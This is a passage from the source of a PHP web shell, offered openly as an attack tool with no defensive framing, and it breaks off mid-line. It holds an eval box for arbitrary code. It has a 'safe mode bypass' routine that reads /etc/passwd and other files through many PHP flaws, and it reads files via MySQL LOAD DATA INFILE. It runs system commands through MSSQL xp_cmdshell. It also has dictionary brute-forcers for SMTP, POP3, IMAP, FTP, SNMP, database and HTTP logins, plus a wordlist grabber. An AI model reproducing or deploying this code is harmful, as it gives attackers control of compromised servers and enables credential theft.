| 1006 | echo "<textarea rows='10' cols='64'>";echo htmlspecialchars(eval(replace_stR($s,$_REQUEST['code'])));echo '</textarea><br><br>';
|
|---|
| 1007 | }
|
|---|
| 1008 | echo "${t}Evaler:</td><td bgcolor='#333333'></td></tr><form method='POST'><tr><td width='20%' bgcolor='#666666'>Codes:</td><td bgcolor='#666666'><textarea rows='10' name='code' cols='64'>";if(!empty($_REQUEST['code']))echo htmlspecialchars($_REQUEST['code']);echo "</textarea></td></tr><tr><td width='20%' bgcolor='#666666'></td><td bgcolor='#666666' align=right>$hcwd<input class=buttons type=submit value=Execute></form>$et</center>";
|
|---|
| 1009 | }
|
|---|
| 1010 | function toolS(){
|
|---|
| 1011 | global $t,$hcwd,$et,$cwd;
|
|---|
| 1012 | if(!empty($_REQUEST['serveR']) && !empty($_REQUEST['domaiN'])){
|
|---|
| 1013 | $ser=fsockopen($_REQUEST['serveR'],43,$en,$es,5);
|
|---|
| 1014 | fputs($ser,$_REQUEST['domaiN']."\r\n");
|
|---|
| 1015 | echo '<pre>';
|
|---|
| 1016 | while(!feof($ser))echo fgets($ser,1024);
|
|---|
| 1017 | echo '</pre>';
|
|---|
| 1018 | fclose($ser);
|
|---|
| 1019 | }
|
|---|
| 1020 | elseif(!empty($_REQUEST['urL'])){
|
|---|
| 1021 | $h='';
|
|---|
| 1022 | $u=parse_url($_REQUEST['urL']);
|
|---|
| 1023 | $host=$u['host'];$file=(!empty($u['path']))?$u['path']:'/';
|
|---|
| 1024 | $ser=fsockopen($host,80,$en,$es,5);
|
|---|
| 1025 | if($ser){
|
|---|
| 1026 | fputs($ser,"GET $file\r\nHost: $host\r\n\r\n");
|
|---|
| 1027 | echo '<pre>';
|
|---|
| 1028 | while($h!="\r\n"){$h=fgets($ser,1024);echo $h;}
|
|---|
| 1029 | echo '</pre>';
|
|---|
| 1030 | fclose($ser);
|
|---|
| 1031 | }
|
|---|
| 1032 | }
|
|---|
| 1033 | elseif(!empty($_REQUEST['ouT']) && isset($_REQUEST['pW'])&& !empty($_REQUEST['uN'])){
|
|---|
| 1034 | $htpasswd=$_REQUEST['ouT'].DIRECTORY_SEPARATOR.'.htpasswd';
|
|---|
| 1035 | $htaccess=$_REQUEST['ouT'].DIRECTORY_SEPARATOR.'.htaccess';
|
|---|
| 1036 | file_put_contents($htpasswd,$_REQUEST['uN'].':'.crypt(trim($_REQUEST['pW']),base64_encode(CRYPT_STD_DES)));
|
|---|
| 1037 | file_put_contents($htaccess,"AuthName \"Secure\"\r\nAuthType Basic\r\nAuthUserFile $htpasswd\r\nRequire valid-user\r\n");
|
|---|
| 1038 | echo '<font color=blue>Done</font>';
|
|---|
| 1039 | }
|
|---|
| 1040 | $s="</td><td bgcolor='#333333'></td></tr><form method='POST'><tr><td width='20%' bgcolor='#666666'>";
|
|---|
| 1041 | echo "<center>${t}WhoIs:${s}Server:</td><td bgcolor='#666666'><input type=text value='";if (!empty($_REQUEST['serveR'])) echo htmlspecialchars($_REQUEST['serveR']);else echo 'whois.geektools.com'; echo "' name=serveR size=35></td></tr><tr><td width='20%' bgcolor='#808080'>domain:</td><td bgcolor='#808080'><input type=text name=domaiN value='";if (!empty($_REQUEST['domaiN'])) echo htmlspecialchars($_REQUEST['domaiN']); else echo 'google.com'; echo "' size=35></td><tr><td bgcolor='#666666'></td><td bgcolor='#666666' align=right>$hcwd<input class=buttons type=submit value='Do'></form>$et<br>${t}.ht* generator:${s}Username:</td><td bgcolor='#666666'><input type=text value='";if (!empty($_REQUEST['uN'])) echo htmlspecialchars($_REQUEST['uN']);else echo 'r00t'; echo "' name=uN size=35></td></tr><tr><td width='20%' bgcolor='#808080'>Password:</td><td bgcolor='#808080'><input type=text name=pW value='";if (!empty($_REQUEST['pW'])) echo htmlspecialchars($_REQUEST['pW']); else echo uniqid('@'); echo "' size=35></td><tr><td width='20%' bgcolor='#666666'>Directory:</td><td bgcolor='#666666'><input type=text name=ouT value='";if (!empty($_REQUEST['ouT'])) echo htmlspecialchars($_REQUEST['ouT']); else echo $cwd; echo "' size=35></td><tr><td bgcolor='#808080'></td><td bgcolor='#808080' align=right>$hcwd<input class=buttons type=submit value=Make></form>$et<br>${t}Grab header:${s}URL:</td><td bgcolor='#666666'><input type=text value='";if (!empty($_REQUEST['urL']))echo htmlspecialchars($_REQUEST['urL']);else echo 'http://Reshack.Net'; echo "' name=urL size=35></td></tr><tr><td bgcolor='#808080'></td><td bgcolor='#808080' align=right>$hcwd<input class=buttons type=submit value='Get'></form>$et<br></center>";
|
|---|
| 1042 | }
|
|---|
| 1043 | function hexvieW(){
|
|---|
| 1044 | if(!empty($_REQUEST['filE'])){
|
|---|
| 1045 | $f=$_REQUEST['filE'];
|
|---|
| 1046 | echo "<table border=0 style='border-collapse: collapse' width='100%'><td width='10%' bgcolor='#282828'>Offset</td><td width='25%' bgcolor='#282828'>Hex</td><td width='25%' bgcolor='#282828'></td><td width='40%' bgcolor='#282828'>ASCII</td></tr>";
|
|---|
| 1047 | $file=fopen($f,'r');
|
|---|
| 1048 | $i=-1;
|
|---|
| 1049 | while(!feof($file)){
|
|---|
| 1050 | $ln='';
|
|---|
| 1051 | $i++;
|
|---|
| 1052 | echo "<tr><td width='10%' bgcolor='#";
|
|---|
| 1053 | if($i % 2==0)echo '666666';else echo '808080';
|
|---|
| 1054 | echo "'>";echo str_repeat('0',(8-strlen($i*16))).$i*16;echo '</td>';
|
|---|
| 1055 | echo "<td width='25%' bgcolor='#";
|
|---|
| 1056 | if($i % 2==0)echo '666666';else echo '808080';
|
|---|
| 1057 | echo "'>";
|
|---|
| 1058 | for($j=0;$j<=7;$j++){
|
|---|
| 1059 | if(!feof($file)){
|
|---|
| 1060 | $tmp=strtoupper(dechex(ord(fgetc($file))));
|
|---|
| 1061 | if(strlen($tmp)==1)$tmp='0'.$tmp;
|
|---|
| 1062 | echo $tmp.' ';
|
|---|
| 1063 | $ln.=$tmp;
|
|---|
| 1064 | }
|
|---|
| 1065 | }
|
|---|
| 1066 | echo "</td><td width='25%' bgcolor='#";
|
|---|
| 1067 | if($i % 2==0)echo '666666';else echo '808080';
|
|---|
| 1068 | echo "'>";
|
|---|
| 1069 | for($j=7;$j<=14;$j++){
|
|---|
| 1070 | if(!feof($file)){
|
|---|
| 1071 | $tmp=strtoupper(dechex(ord(fgetc($file))));
|
|---|
| 1072 | if(strlen($tmp)==1)$tmp='0'.$tmp;
|
|---|
| 1073 | echo $tmp.' ';
|
|---|
| 1074 | $ln.=$tmp;
|
|---|
| 1075 | }
|
|---|
| 1076 | }
|
|---|
| 1077 | echo "</td><td width='40%' bgcolor='#";
|
|---|
| 1078 | if($i % 2==0)echo '666666';else echo '808080';
|
|---|
| 1079 | echo "'>";
|
|---|
| 1080 | $n=0;$asc='';$co=0;
|
|---|
| 1081 | for($k=0;$k<=16;$k++){
|
|---|
| 1082 | $co=hexdec(substr($ln,$n,2));
|
|---|
| 1083 | if(($co<=31)||(($co>=127)&&($co<=160)))$co=46;
|
|---|
| 1084 | $asc.=chr($co);
|
|---|
| 1085 | $n+=2;
|
|---|
| 1086 | }
|
|---|
| 1087 | echo htmlspecialchars($asc);
|
|---|
| 1088 | echo '</td></tr>';
|
|---|
| 1089 | }
|
|---|
| 1090 | }
|
|---|
| 1091 | fclose($file);
|
|---|
| 1092 | echo '</table>';
|
|---|
| 1093 | }
|
|---|
| 1094 | function safemodE(){
|
|---|
| 1095 | global $windows,$t,$hcwd,$et;
|
|---|
| 1096 | $file=(empty($_REQUEST['file']))?'/etc/passwd':$_REQUEST['file'];
|
|---|
| 1097 | $pr="\r\n</font><font color=green>Method ";
|
|---|
| 1098 | $po=")</font><font color=blue>\r\n";
|
|---|
| 1099 | $i=1;
|
|---|
| 1100 | if(!empty($_REQUEST['read'])){
|
|---|
| 1101 | echo "<pre>$pr$i:(ini_restore$po";
|
|---|
| 1102 | ini_restore('safe_mode');ini_restore('open_basedir');
|
|---|
| 1103 | readfile($file);
|
|---|
| 1104 | $i++;
|
|---|
| 1105 | echo "$pr$i:(include$po";
|
|---|
| 1106 | include($file);
|
|---|
| 1107 | $i++;
|
|---|
| 1108 | echo "$pr$i:(copy$po";
|
|---|
| 1109 | $tmp=tempnam('','cx');
|
|---|
| 1110 | copy('compress.zlib://'.$file,$tmp);
|
|---|
| 1111 | $fh=fopen($tmp,'r');
|
|---|
| 1112 | $data=fread($fh,filesize($tmp));
|
|---|
| 1113 | fclose($fh);
|
|---|
| 1114 | echo $data;
|
|---|
| 1115 | $i++;
|
|---|
| 1116 | if(function_exists('mb_send_mail')){
|
|---|
| 1117 | echo "$pr$i:(mb_send_mail$po";
|
|---|
| 1118 | if(file_exists('/tmp/mb_send_mail'))unlink('/tmp/mb_send_mail');
|
|---|
| 1119 | mb_send_mail(NULL, NULL, NULL, NULL,'-C $file -X /tmp/mb_send_mail');
|
|---|
| 1120 | readfile('/tmp/mb_send_mail');
|
|---|
| 1121 | $i++;
|
|---|
| 1122 | }
|
|---|
| 1123 | if(function_exists('curl_init')){
|
|---|
| 1124 | echo "$pr$i:(curl_init [A]$po";
|
|---|
| 1125 | $fh=curl_init('file://'.$file.'');
|
|---|
| 1126 | $tmp=curl_exec($fh);
|
|---|
| 1127 | echo $tmp;
|
|---|
| 1128 | $i++;
|
|---|
| 1129 | echo "$pr$i:(curl_init [B]$po";
|
|---|
| 1130 | $i++;
|
|---|
| 1131 | if(strstr($file,DIRECTORY_SEPARATOR))$ch=curl_init('file:///'.$file."\x00/../../../../../../../../../../../../".__FILE__);
|
|---|
| 1132 | else $ch=curl_init('file://'.$file."\x00".__FILE__);
|
|---|
| 1133 | var_dump(curl_exec($ch));
|
|---|
| 1134 | }
|
|---|
| 1135 | if(is_writable('.')){
|
|---|
| 1136 | echo "$pr$i:(php.ini$po";
|
|---|
| 1137 | file_put_contents('php.ini','safe_mode = Off');
|
|---|
| 1138 | readfile($file);
|
|---|
| 1139 | unlink('php.ini');
|
|---|
| 1140 | $i++;
|
|---|
| 1141 | }
|
|---|
| 1142 | if(is_object($ws=new COM('WScript.Shell'))){
|
|---|
| 1143 | echo "$pr$i:(COM$po";
|
|---|
| 1144 | echo $exec=comshelL("type \"$file\"",$ws);
|
|---|
| 1145 | $i++;
|
|---|
| 1146 | }
|
|---|
| 1147 | if(checkfunctioN('win_shell_execute')){
|
|---|
| 1148 | echo "$pr$i:(win32std$po";
|
|---|
| 1149 | echo winshelL("type \"$file\"");
|
|---|
| 1150 | $i++;
|
|---|
| 1151 | }
|
|---|
| 1152 | if(checkfunctioN('win32_create_service')){
|
|---|
| 1153 | echo "$pr$i:(win32service$po";
|
|---|
| 1154 | echo srvshelL("type \"$file\"");
|
|---|
| 1155 | $i++;
|
|---|
| 1156 | }
|
|---|
| 1157 | if(function_exists('imap_open')){
|
|---|
| 1158 | echo "$pr$i:(imap [A]$po";
|
|---|
| 1159 | $str=imap_open('/etc/passwd','','');
|
|---|
| 1160 | $list=imap_list($str,$file,'*');
|
|---|
| 1161 | for($i=0;$i<count($list);$i++)echo $list[$i]."\n";
|
|---|
| 1162 | imap_close($str);
|
|---|
| 1163 | $i++;
|
|---|
| 1164 | echo "$pr$i:(imap [B]$po";
|
|---|
| 1165 | $str=imap_open($file,'','');
|
|---|
| 1166 | $tmp=imap_body($str,1);
|
|---|
| 1167 | echo $tmp;
|
|---|
| 1168 | imap_close($str);
|
|---|
| 1169 | $i++;
|
|---|
| 1170 | }
|
|---|
| 1171 | if($file=='/etc/passwd'){
|
|---|
| 1172 | echo "$pr$i:(posix$po";
|
|---|
| 1173 | for($uid=0;$uid<99999;$uid++){
|
|---|
| 1174 | $h=posix_getpwuid($uid);
|
|---|
| 1175 | if(!empty($h))foreach($h as $v)echo "$v:";
|
|---|
| 1176 | echo "\r\n";
|
|---|
| 1177 | }
|
|---|
| 1178 | }
|
|---|
| 1179 | echo "\n</pre></font>";
|
|---|
| 1180 | }
|
|---|
| 1181 | elseif(!empty($_REQUEST['show'])){
|
|---|
| 1182 | echo "<pre>$pr$i:(glob$po";
|
|---|
| 1183 | $con=glob("$file*");
|
|---|
| 1184 | foreach ($con as $v){
|
|---|
| 1185 | echo "$v\n";
|
|---|
| 1186 | }
|
|---|
| 1187 | $i++;
|
|---|
| 1188 | if(function_exists('imap_open')){
|
|---|
| 1189 | echo "$pr$i:(imap$po";
|
|---|
| 1190 | $str=imap_open('/etc/passwd','','');
|
|---|
| 1191 | $s=explode("|",$file);
|
|---|
| 1192 | if(count($s)>1)$list=imap_list($str,trim($s[0]),trim($s[1]));else $list=imap_list($str,trim($str[0]),'*');
|
|---|
| 1193 | for($i=0;$i<count($list);$i++)echo "$list[$i]\r\n";
|
|---|
| 1194 | imap_close($str);
|
|---|
| 1195 | $i++;
|
|---|
| 1196 | }
|
|---|
| 1197 | if(is_object($ws=new COM('WScript.Shell'))){
|
|---|
| 1198 | echo "$pr$i:(COM$po";
|
|---|
| 1199 | $exec=comshelL("dir \"$file\"",$ws);
|
|---|
| 1200 | $exec=str_replace("\t",'',$exec);
|
|---|
| 1201 | echo $exec;
|
|---|
| 1202 | $i++;
|
|---|
| 1203 | }
|
|---|
| 1204 | if(checkfunctioN('win_shell_execute')){
|
|---|
| 1205 | echo "$pr$i:(win32std$po";
|
|---|
| 1206 | echo winshelL("dir \"$file\"");
|
|---|
| 1207 | $i++;
|
|---|
| 1208 | }
|
|---|
| 1209 | if(checkfunctioN('win32_create_service')){
|
|---|
| 1210 | echo "$pr$i:(win32service$po";
|
|---|
| 1211 | echo srvshelL("dir \"$file\"");
|
|---|
| 1212 | $i++;
|
|---|
| 1213 | }
|
|---|
| 1214 | echo "\n</pre></font>";
|
|---|
| 1215 | }
|
|---|
| 1216 | elseif(!empty($_REQUEST['sql'])){
|
|---|
| 1217 | $ta=uniqid('N');
|
|---|
| 1218 | $s=array("CREATE TEMPORARY TABLE $ta (file LONGBLOB)","LOAD DATA INFILE '".addslashes($_REQUEST['file'])."' INTO TABLE $ta","SELECT * FROM $ta");
|
|---|
| 1219 | $l=mysql_connect('localhost', $_REQUEST['user'], $_REQUEST['pass']);
|
|---|
| 1220 | mysql_select_db($_REQUEST['db'],$l);
|
|---|
| 1221 | echo '<pre><font color=blue>';
|
|---|
| 1222 | foreach($s as $v){
|
|---|
| 1223 | $q = mysql_query($v,$l);
|
|---|
| 1224 | while($d=mysql_fetch_row($q))echo htmlspecialchars($d[0]);
|
|---|
| 1225 | }
|
|---|
| 1226 | echo '</pre></font>';
|
|---|
| 1227 | }
|
|---|
| 1228 | elseif(!empty($_REQUEST['serveR']) && !empty($_REQUEST['coM']) && !empty($_REQUEST['dB']) && !empty($_REQUEST['useR']) && isset($_REQUEST['pasS'])){
|
|---|
| 1229 | $res='';
|
|---|
| 1230 | $tb=uniqid('NJ');
|
|---|
| 1231 | $db=mssql_connect($_REQUEST['serveR'],$_REQUEST['useR'],$_REQUEST['pasS']);
|
|---|
| 1232 | mssql_select_db($_REQUEST['dB'],$db);
|
|---|
| 1233 | mssql_query("create table $tb ( string VARCHAR (500) NULL)",$db);
|
|---|
| 1234 | mssql_query("insert into $tb EXEC master.dbo.xp_cmdshell '".$_REQUEST['coM']."'",$db);
|
|---|
| 1235 | $re=mssql_query("select * from $tb",$db);
|
|---|
| 1236 | while(($row=mssql_fetch_row($re)))
|
|---|
| 1237 | {
|
|---|
| 1238 | $res.= $row[0]."\r\n";
|
|---|
| 1239 | }
|
|---|
| 1240 | mssql_query("drop table $tb",$db);
|
|---|
| 1241 | mssql_close($db);
|
|---|
| 1242 | echo "<center><textarea rows='18' cols='64'>$res</textarea></center><br>";
|
|---|
| 1243 | }
|
|---|
| 1244 | $f=(!empty($_REQUEST['file']))?htmlspecialchars($_REQUEST['file']):'/etc/passwd';
|
|---|
| 1245 | $u=(!empty($_REQUEST['user']))?htmlspecialchars($_REQUEST['user']):'root';
|
|---|
| 1246 | $p=(!empty($_REQUEST['pass']))?htmlspecialchars($_REQUEST['pass']):'123456';
|
|---|
| 1247 | $d=(!empty($_REQUEST['db']))?htmlspecialchars($_REQUEST['db']):'test';
|
|---|
| 1248 | echo "<center>${t}Use PHP Bugs:</td><td bgcolor='#333333'></td></tr><form method='POST'><tr><td width='20%' bgcolor='#666666'>File:</td><td bgcolor='#666666'><input type=text value='$f' name=file size=35></td></tr><tr><td bgcolor='#808080'></td><td bgcolor='#808080' align=right>$hcwd<input class=buttons type=submit name=read value='Read File'><input class=buttons type=submit name=show value='Show directory'></form>$et<br>${t}Use MySQL:</td><td bgcolor='#333333'></td></tr><form method='POST'><tr><td width='20%' bgcolor='#666666'>File:</td><td bgcolor='#666666'><input type=text value='$f' name=file size=35></td></tr><tr><td width='20%' bgcolor='#808080'>Username:</td><td bgcolor='#808080'><input type=text name=user value='$u'></td></tr><tr><td width='20%' bgcolor='#666666'>Password:</td><td bgcolor='#666666'><input type=text name=pass value='$p'></td></tr><tr><td width='20%' bgcolor='#808080'>Database:</td><td bgcolor='#808080'><input type=text name=db value='$d'></td></tr><tr><td bgcolor='#666666'></td><td bgcolor='#666666' align=right>$hcwd<input class=buttons type=submit name=sql value='Read'></form>$et<br>${t}MSSQL Exec:</td><td bgcolor='#333333'></td></tr><form method='POST'><tr><td width='20%' bgcolor='#666666'>Server:</td><td bgcolor='#666666'><input type=text value='";if (!empty($_REQUEST['serveR'])) echo htmlspecialchars($_REQUEST['serveR']);else echo 'localhost'; echo "' name=serveR size=35></td></tr><tr><td width='20%' bgcolor='#808080'>Username:</td><td bgcolor='#808080'><input type=text name=useR value='";if (!empty($_REQUEST['useR'])) echo htmlspecialchars($_REQUEST['useR']); else echo 'sa'; echo "' size=35></td></tr><tr><td width='20%' bgcolor='#666666'>Password:</td><td bgcolor='#666666'><input type=text name=pasS value='";if (!empty($_REQUEST['pasS'])) echo htmlspecialchars($_REQUEST['pasS']);echo "' size=35></td></tr><td width='20%' bgcolor='#808080'>Command:</td><td bgcolor='#808080'><input type=text name=coM value='";if (!empty($_REQUEST['coM'])) echo htmlspecialchars($_REQUEST['coM']);else echo 'dir c:';echo "' size=35></td></tr><tr><td bgcolor='#666666'>Database:</td><td bgcolor='#666666'><input type=text name=dB value='";if(isset($_REQUEST['dB'])) echo htmlspecialchars($_REQUEST['dB']);else echo 'master';echo "'> $hcwd<input class=buttons type=submit value='Execute'></form>$et</center>";
|
|---|
| 1249 | }
|
|---|
| 1250 | function crackeR(){
|
|---|
| 1251 | global $t,$et,$crack,$cwd;
|
|---|
| 1252 | $check=(!empty($_REQUEST['dictionary']) && !empty($_REQUEST['target']))?1:0;
|
|---|
| 1253 | if(!empty($_REQUEST['cracK']) && !$check){
|
|---|
| 1254 | $c=htmlspecialchars($_REQUEST['cracK']);
|
|---|
| 1255 | echo "<center>$t$c cracker:$crack";
|
|---|
| 1256 | }
|
|---|
| 1257 | elseif(!empty($_REQUEST['cracK']) && $check){
|
|---|
| 1258 | $pro=strtolower($_REQUEST['cracK']).'checK';
|
|---|
| 1259 | $target=$_REQUEST['target'];
|
|---|
| 1260 | $type=$_REQUEST['combo'];
|
|---|
| 1261 | $user=(!empty($_REQUEST['user']))?$_REQUEST['user']:'';
|
|---|
| 1262 | $dictionary=fopen($_REQUEST['dictionary'],'r');
|
|---|
| 1263 | if(isset($_REQUEST['loG'])&& !empty($_REQUEST['logfilE'])){$log=1;$file=$_REQUEST['logfilE'];}else $log=0;
|
|---|
| 1264 | if($dictionary){
|
|---|
| 1265 | echo '<font color=blue>Cracking '.htmlspecialchars($target).'...<br>';
|
|---|
| 1266 | while(!feof($dictionary)){
|
|---|
| 1267 | if($type){
|
|---|
| 1268 | $combo=trim(fgets($dictionary)," \n\r");
|
|---|
| 1269 | $user=substr($combo,0,strpos($combo,':'));
|
|---|
| 1270 | $pass=substr($combo,strpos($combo,':')+1);
|
|---|
| 1271 | }else{
|
|---|
| 1272 | $pass=trim(fgets($dictionary)," \n\r");
|
|---|
| 1273 | }
|
|---|
| 1274 | $ret=$pro($target,$user,$pass,5);
|
|---|
| 1275 | if($ret==-1){echo "$errorbox Can not connect to server.$et";break;}else{
|
|---|
| 1276 | if($ret){$x="U: $user P: $pass";echo "$x<br>";if($log)file_add_contentS($file,"$x\r\n");if(!$type)break;}}
|
|---|
| 1277 | }
|
|---|
| 1278 | echo '<br>Done</font>';
|
|---|
| 1279 | fclose($dictionary);
|
|---|
| 1280 | }
|
|---|
| 1281 | else{
|
|---|
| 1282 | echo "$errorbox Can not open dictionary.$et";
|
|---|
| 1283 | }
|
|---|
| 1284 | }
|
|---|
| 1285 | else{
|
|---|
| 1286 | echo "<center><table border=0 bgcolor=#333333><tr><td><a href='".hlinK("seC=hc&workingdiR=$cwd")."'>[Hash]</a> - <a href='".hlinK("seC=cr&cracK=SMTP&workingdiR=$cwd")."'>[SMTP]</a> - <a href='".hlinK("seC=cr&cracK=POP3&workingdiR=$cwd")."'>[POP3]</a> - <a href='".hlinK("seC=cr&cracK=IMAP&workingdiR=$cwd")."'>[IMAP]</a> - <a href='".hlinK("seC=cr&cracK=FTP&workingdiR=$cwd")."'>[FTP]</a> - <a href='".hlinK("seC=snmp&workingdiR=$cwd")."'>[SNMP]</a> - <a href='".hlinK("seC=cr&cracK=MySQL&workingdiR=$cwd")."'>[MySQL]</a> - <a href='".hlinK("seC=cr&cracK=MSSQL&workingdiR=$cwd")."'>[MSSQL]</a> - <a href='".hlinK("seC=fcr&workingdiR=$cwd")."'>[HTTP Form]</a> - <a href='".hlinK("seC=auth&workingdiR=$cwd")."'>[HTTP Auth(basic)]</a> - <a href='".hlinK("seC=dic&workingdiR=$cwd")."'>[Dictionary maker]</a>$et</center>";
|
|---|
| 1287 | }
|
|---|
| 1288 | }
|
|---|
| 1289 | function snmpcrackeR(){
|
|---|
| 1290 | global $t,$et,$errorbox,$hcwd;
|
|---|
| 1291 | if(!empty($_REQUEST['target']) && !empty($_REQUEST['dictionary'])){
|
|---|
| 1292 | $target=$_REQUEST['target'];
|
|---|
| 1293 | if(isset($_REQUEST['loG'])&& !empty($_REQUEST['logfilE'])){$log=1;$file=$_REQUEST['logfilE'];}else $log=0;
|
|---|
| 1294 | $dictionary=fopen($_REQUEST['dictionary'],'r');
|
|---|
| 1295 | if($dictionary){
|
|---|
| 1296 | echo '<font color=blue>Cracking '.htmlspecialchars($target).'...<br>';
|
|---|
| 1297 | while(!feof($dictionary)){
|
|---|
| 1298 | $com=trim(fgets($dictionary)," \n\r");
|
|---|
| 1299 | $res=snmpchecK($target,$com,2);
|
|---|
| 1300 | if($res){echo "$com<br>";if($log)file_add_contentS($file,"$com\r\n");}
|
|---|
| 1301 | }
|
|---|
| 1302 | echo '<br>Done</font>';
|
|---|
| 1303 | fclose($dictionary);
|
|---|
| 1304 | }
|
|---|
| 1305 | else{
|
|---|
| 1306 | echo "$errorbox Can not open dictionary.$et";
|
|---|
| 1307 | }
|
|---|
| 1308 | }else echo "<center>${t}SNMP cracker:</td><td bgcolor='#333333'></td></tr><form method='POST'>$hcwd<tr><td width='20%' bgcolor='#666666'>Dictionary:</td><td bgcolor='#666666'><input type=text name=dictionary size=35></td></tr><tr><td width='20%' bgcolor='#808080'>Server:</td><td bgcolor='#808080'><input type=text name=target size=35></td></tr><tr><td width='20%' bgcolor='#666666'><input type=checkbox name=loG value=1 onClick='document.form.logfilE.disabled = !document.form.logfilE.disabled;' style='border-width:1px;background-color:#666666;' checked>Log</td><td bgcolor='#666666'><input type=text name=logfilE size=25 value='".whereistmP().DIRECTORY_SEPARATOR.".log'> <input class=buttons type=submit value=Start></form>$et</center>";
|
|---|
| 1309 | }
|
|---|
| 1310 | function dicmakeR(){
|
|---|
| 1311 | global $errorbox,$windows,$footer,$t,$et,$hcwd;
|
|---|
| 1312 | $combo=(empty($_REQUEST['combo']))?0:1;
|
|---|
| 1313 | if(!empty($_REQUEST['range'])&& !empty($_REQUEST['output']) && !empty($_REQUEST['min']) && !empty($_REQUEST['max'])){
|
|---|
| 1314 | $min=$_REQUEST['min'];
|
|---|
| 1315 | $max=$_REQUEST['max'];
|
|---|
| 1316 | if($max<$min)die($errorbox."Bad input!$et".$footer);
|
|---|
| 1317 | $s=$w='';
|
|---|
| 1318 | $out=$_REQUEST['output'];
|
|---|
| 1319 | $r=$_REQUEST['range'];
|
|---|
| 1320 | $dic=fopen($out,'w');
|
|---|
| 1321 | if($r==1){
|
|---|
| 1322 | for($s=pow(10,$min-1);$s<pow(10,$max-1);$s++){
|
|---|
| 1323 | $w=$s;
|
|---|
| 1324 | if($combo)$w="$w:$w";
|
|---|
| 1325 | fwrite($dic,$w."\n");
|
|---|
| 1326 | }
|
|---|
| 1327 | }
|
|---|
| 1328 | else{
|
|---|
| 1329 | $s=str_repeat($r,$min);
|
|---|
| 1330 | while(strlen($s)<$max){
|
|---|
| 1331 | $w=$s;
|
|---|
| 1332 | if($combo)$w="$w:$w";
|
|---|
| 1333 | fwrite($dic,$w."\n");
|
|---|
| 1334 | $s++;
|
|---|
| 1335 | }
|
|---|
| 1336 | }
|
|---|
| 1337 | fclose($dic);
|
|---|
| 1338 | echo '<font color=blue>Done</font>';
|
|---|
| 1339 | }
|
|---|
| 1340 | elseif(!empty($_REQUEST['input']) && !empty($_REQUEST['output'])){
|
|---|
| 1341 | $input=fopen($_REQUEST['input'],'r');
|
|---|
| 1342 | if(!$input){
|
|---|
| 1343 | if($windows)echo $errorbox.'Unable to read from '.htmlspecialchars($_REQUEST['input'])."$et<br>";
|
|---|
| 1344 | else{
|
|---|
| 1345 | $input=explode("\n",shelL("cat $input"));
|
|---|
| 1346 | $output=fopen($_REQUEST['output'],'w');
|
|---|
| 1347 | if($output){
|
|---|
| 1348 | foreach($input as $in){
|
|---|
| 1349 | $user=$in;
|
|---|
| 1350 | $user=trim(fgets($in)," \n\r");
|
|---|
| 1351 | if(!strstr($user,':'))continue;
|
|---|
| 1352 | $user=substr($user,0,(strpos($user,':')));
|
|---|
| 1353 | if($combo)fwrite($output,$user.':'.$user."\n");else fwrite($output,$user."\n");
|
|---|
| 1354 | }
|
|---|
| 1355 | fclose($input);fclose($output);
|
|---|
| 1356 | echo '<font color=blue>Done</font>';
|
|---|
| 1357 | }
|
|---|
| 1358 | }
|
|---|
| 1359 | }
|
|---|
| 1360 | else{
|
|---|
| 1361 | $output=fopen($_REQUEST['output'],'w');
|
|---|
| 1362 | if($output){
|
|---|
| 1363 | while(!feof($input)){
|
|---|
| 1364 | $user=trim(fgets($input)," \n\r");
|
|---|
| 1365 | if(!strstr($user,':'))continue;
|
|---|
| 1366 | $user=substr($user,0,(strpos($user,':')));
|
|---|
| 1367 | if($combo)fwrite($output,$user.':'.$user."\n");else fwrite($output,$user."\n");
|
|---|
| 1368 | }
|
|---|
| 1369 | fclose($input);fclose($output);
|
|---|
| 1370 | echo '<font color=blue>Done</font>';
|
|---|
| 1371 | }
|
|---|
| 1372 | else echo $errorbox.' Unable to write data to '.htmlspecialchars($_REQUEST['input'])."$et<br>";
|
|---|
| 1373 | }
|
|---|
| 1374 | }elseif(!empty($_REQUEST['url']) && !empty($_REQUEST['output'])){
|
|---|
| 1375 | $res=downloadiT($_REQUEST['url'],$_REQUEST['output']);
|
|---|
| 1376 | if($combo && $res){
|
|---|
| 1377 | $file=file($_REQUEST['output']);
|
|---|
| 1378 | $output=fopen($_REQUEST['output'],'w');
|
|---|
| 1379 | foreach($file as $v)fwrite($output,"$v:$v\n");
|
|---|
| 1380 | fclose($output);
|
|---|
| 1381 | }
|
|---|
| 1382 | echo '<font color=blue>Done</font>';
|
|---|
| 1383 | }else{
|
|---|
| 1384 | $temp=whereistmP().DIRECTORY_SEPARATOR;
|
|---|
| 1385 | echo "<center>${t}Wordlist generator:</td><td bgcolor='#333333'></td></tr><form method='POST'><tr><td width='20%' bgcolor='#666666'>Range:</td><td bgcolor='#666666'><select name=range><option value=a>a-z</option><option value=A>A-Z</option><option value=1>0-9</option></select></td></tr><tr><td width='20%' bgcolor='#808080'>Min lenght:</td><td bgcolor='#808080'><select name=min><option value=1>1</option><option value=2>2</option><option value=3>3</option><option value=4>4</option><option value=5>5</option><option value=6>6</option><option value=7>7</option><option value=8>8</option><option value=9>9</option><option value=10>10</option></select></td></tr><tr><td width='20%' bgcolor='#666666'>Max lenght:</td><td bgcolor='#666666'><select name=max><option value=2>2</option><option value=3>3</option><option value=4>4</option><option value=5>5</option><option value=6>6</option><option value=7>7</option><option value=8 selected>8</option><option value=9>9</option><option value=10>10</option><option value=11>11</option><option value=12>12</option><option value=13>13</option><option value=14>14</option><option value=15>15</option></select></td></tr><tr><td width='20%' bgcolor='#808080'>Output:</td><td bgcolor='#808080'><input type=text value='$temp.dic' name=output size=35></td></tr><tr><td width='20%' bgcolor='#666666'></td><td bgcolor='#666666'><input type=checkbox name=combo style='border-width:1px;background-color:#666666;' value=1 checked>Combo style output</td></tr><td bgcolor='#808080'></td><td bgcolor='#808080' align=right>$hcwd<input class=buttons type=submit value=Make></form>$et<br>${t}Grab dictionary:</td><td bgcolor='#333333'></td></tr><form method='POST'><tr><td width='20%' bgcolor='#666666'>Grab from:</td><td bgcolor='#666666'><input type=text value='/etc/passwd' name=input size=35></td></tr><tr><td width='20%' bgcolor='#808080'>Output:</td><td bgcolor='#808080'><input type=text value='$temp.dic' name=output size=35></td></tr><tr><td width='20%' bgcolor='#666666'></td><td bgcolor='#666666'><input type=checkbox style='border-width:1px;background-color:#666666;' name=combo value=1 checked>Combo style output</td></tr><td bgcolor='#808080'></td><td bgcolor='#808080' align=right>$hcwd<input class=buttons type=submit value=Grab></form>$et<br>${t}Download dictionary:</td><td bgcolor='#333333'></td></tr><form method='POST'><tr><td width='20%' bgcolor='#666666'>URL:</td><td 